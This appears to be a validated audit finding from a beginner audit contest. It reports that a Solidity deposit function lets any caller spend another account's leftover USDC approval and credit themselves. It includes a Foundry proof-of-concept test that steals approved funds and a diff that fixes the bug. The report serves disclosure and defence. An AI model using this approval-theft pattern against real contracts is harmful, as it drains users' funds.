First Flight #16: Mafia Takedown
First Flight #16
Beginner FriendlyDeFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Insecure Account and Recipient Address Handling in `Laundrette::depositTheCrimeMoneyInATM` leads to potential unauthorized fund transfer

Mill

Summary

The depositTheCrimeMoneyInATM function allows depositing USDC into the moneyShelf contract where the source account and the recipient address can be different. This design flaw can lead to unauthorized fund transfers if an attacker exploits the function.

Vulnerability Details

The function depositTheCrimeMoneyInATM calls moneyShelf.depositUSDC, which takes three parameters: account, to, and amount. The problem arises because the depositUSDC function allows the account parameter (the source of the funds) to be different from the to parameter (the recipient of the funds). If the account (victim) has granted approval for a large amount of funds, any caller can use this function to transfer funds from the account to any to address without the account's direct consent. The victim ends up to pay for the transfer and the attacker actually receives the CrimeMoney token + his USDC account balance in the moneyShelf contract gets updated.

Proof of Code

Paste the following code into the Laundrette.t.sol contract and then run the command:

Code
function test_depositBrokenLogic() public {
uint256 startingBalance = 100e6;
uint256 depositBalance = 50e6;
​
// transfer some USDC to the test accounts
// since the godfather is the account that mints the whole supply of the mocked USDC
vm.startPrank(godFather);
usdc.transfer(testAccount, startingBalance);
usdc.transfer(gangMember, startingBalance);
assertEq(usdc.balanceOf(testAccount), startingBalance);
assertEq(usdc.balanceOf(gangMember), startingBalance);
vm.stopPrank();
​
// According to the docs all users have to approve the MoneyShelf
// contract before calling the function to deposit.
vm.startPrank(gangMember);
// The gang member approved his whole balance
usdc.approve(address(moneyShelf), startingBalance);
// he deposits only half of his balance using
// laundrette.depositTheCrimeMoneyInATM(address account, address to, uint256 amount)
// address account = the account that gets charged
// address to = the account that receives the balance on the MoneyShelf account amount
// this address also receives the crimeMoney token
// uint256 amount = the amount that gets deposited
laundrette.depositTheCrimeMoneyInATM(gangMember, gangMember, depositBalance);
assertEq(usdc.balanceOf(gangMember), startingBalance - depositBalance);
assertEq(usdc.balanceOf(address(moneyShelf)), depositBalance);
assertEq(crimeMoney.balanceOf(gangMember), depositBalance);
vm.stopPrank();
​
// now the issue is that he has still 50e6 USDC approved for the moneyShelf contract
vm.startPrank(testAccount);
// we change the second parameter to our testAccount address
// the gangMembers account will be charged but the testAccount receives the crimeMoney token
laundrette.depositTheCrimeMoneyInATM(gangMember, testAccount, depositBalance);
assertEq(usdc.balanceOf(gangMember), startingBalance - (depositBalance * 2));
assertEq(usdc.balanceOf(address(moneyShelf)), (depositBalance * 2));
// The testAccount now has the crimeMoney token
assertEq(crimeMoney.balanceOf(testAccount), depositBalance);
// the testAccount also has the USDC account balance in the moneyShelf contract
assertEq(moneyShelf.getAccountAmount(testAccount), depositBalance);
vm.stopPrank();
}
forge test --mt test_depositBrokenLogic -vvv

Impact

This vulnerability can lead to unauthorized fund transfers where an attacker can drain funds from a victim's account (gangMember) to benefit another user (testAccount). This undermines the integrity of the fund management system and can result in significant financial loss for users. In order to withdraw the CrimeMoney back to USDC the attacker needs the "gangMember" role.

Tools Used

  • forge test

Recommendations

Restrict Access: Ensure that only the account owner can initiate the transfer of their funds.
Verify Caller: Add checks to verify that msg.sender is either the account itself.
Remove the to address because this should match with the account anyways.

- function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
- moneyShelf.depositUSDC(account, to, amount);
- }
​
+ function depositTheCrimeMoneyInATM(address account, uint256 amount) external {
+ require(msg.sender == account, "Unauthorized caller");
+ moneyShelf.depositUSDC(account, account, amount);
+ }
Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.